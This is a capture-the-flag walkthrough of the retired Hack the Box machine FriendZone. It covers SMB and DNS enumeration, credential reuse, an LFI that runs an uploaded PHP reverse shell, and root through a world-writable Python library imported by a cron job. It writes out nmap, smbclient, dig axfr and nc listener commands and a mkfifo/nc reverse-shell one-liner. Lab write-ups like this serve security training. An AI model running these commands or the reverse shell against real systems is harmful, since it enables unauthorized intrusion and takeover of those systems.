Hack the Box (HTB) machines walkthrough series — FriendZone
Today, we will be continuing with our exploration of Hack the Box (HTB) machines as seen in previous articles. This walkthrough is of an HTB machine named FriendZone.
HTB is an excellent platform that hosts machines belonging to multiple OSes. It also has some other challenges as well. Individuals have to solve the puzzle (simple enumeration plus pentest) in order to log into the platform and download the VPN pack to connect to the machines hosted on the HTB platform.
Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named FriendZone, is retired.
Let’s start with this machine.
1. Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.
2. The FriendZone machine IP is 10.10.10.123
3. We will adopt the same methodology of performing penetration testing as we’ve used before. Let’s start with enumeration in order to learn as much information about the machine as possible.
4. As usual, let’s start with the nmap scan to learn more about the services running on this machine. [CLICK IMAGES TO ENLARGE]
<<nmap -sC -sV -oA FriendZone 10.10.10.123>>
5. It looks like we have a lot of data to consume. We have ports 21, 22, 53, 80, 139, 443 and 445 opened. So let’s perform enumeration on them. The important thing to note is that there is a possible domain, “friendzone.red,” as well.
6. The first thing to do, since we have shares available, is to see how many of these we can discover remotely.
<<nmap –script=smb-enum-shares.nse -p445 10.10.10.123>>
7. It looks like we can read development and general share. Let’s read general share first.
<<smbclient //10.10.10.123/general -U “”>>
8. There seems to be a creds.txt file found. Downloading creds.txt, we find that the content looks like admin creds. Let’s enumerate the system more to see where to use these creds.
9. Enumerating port 80 results in the following. An important thing to note is that there is a new domain, friendzoneportal.red, also mentioned.
10. Since we have port 53 opened, let’s query both of these domains.
11. Querying friendzone.red reveals the following. We can see that “administrator1.friendzone.red” was discovered.
<<dig axfr friendzone.red @10.10.10.123>>
12. Querying friendzoneportal.red reveals the following. We can see that “admin.friendzoneportal.red” was discovered.
<<dig axfr friendzoneportal.red @10.10.10.123>>
13. see below.
14. Let’s enumerate both these domains. Before that, let’s add the entries into the /etc/hosts file, as shown below.
15. Enumerating administrator1.friendzone.red results in the following login page. Let’s try the discovered admin creds. We find that it results in a successful login.
16. After logging in, we get this message.
17. Following the directions above shows the page below with an error message.
18. We follow the leads again, including the aforementioned parameters, into the request portal. (BTW, this an LFI candidate.)
19. So the logic is that if we can include our reverse shell into the system and query it from this page in parameter “pagename,” we should get the reverse shell back. But where to upload? Let’s remember the “development” share discovered above.
20. We’ll apply this logic to see if we can get the reverse shell back. We modify the PHP reverse shell with the attacker details.
21. Next, we upload the contents to development share.
<<smbclient //10.10.10.123/development -U “”>>
22. Now let’s add the path to the pagename parameter (/etc/Development/reverse), as shown below. Before that, let’s also open a NC shell.
<<nc -nlvp 4488>>
23. We got the reverse shell. Great!
24. We read the user.txt file.(There was a home directory friend on the system.)
25. Let’s enumerate the system to escalate the privileges next.
26. During enumeration, there was a file called mysql_data.conf under /var/www. Looks like we have the user “friend” password in it in plaintext.
27. Let’s use the above creds to log into the box as user “friend.”
28. Let’s continue the process of enumeration and escalating the privileges.
29. After much enumeration, I thought of using an excellent utility (PSPY) from here.
30. Transferring the PSPY to the victim machine.
<<scp pspy64 firstname.lastname@example.org:/home/friend>>
31. We now make it executable and run it.
32. We can now see that our process was visible in the PSPY output. This is an indication that it is working fine. (Note the UID as well, which is for user “friend.”) Ideally, we need to see processes under UID:0.
33. After some time, we saw multiple processes kicked off as root, as shown below. Also note that the cron utility is in the chain as well, indicating that this is running as a cron.
34. Moving to this file we saw in the contents below, we note that os.system was commented out. So if we can edit the file and add a system command, we should get a reverse shell. But we cannot edit the file.
35. The script was importing the OS library. Checking into the OS library permissions, it was under 777 perms. Golden.
36. Let’s exploit this and add the below line to the file.
37. Once the cron kicks off, this library will be imported and the os.system command will fire, which will give us a shell back. Don’t forget to start a listener as well.
os.system(‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacking machine ip> 8844 > /tmp/f’)>>
<<nc -nlvp 8844>>
38. We finish by reading the root.txt.
This was really a fun and interesting box. Initial entry into the box was based on enumeration and connecting the dots. After that, some great utilities such as PSPY came to the rescue and helped us gain the root shell.
We will continue this series with more interesting HTB machines.
We've encountered a new and totally unexpected error.
Get instant boot camp pricing
A new tab for your requested boot camp pricing will open in 5 seconds. If it doesn't open, click here.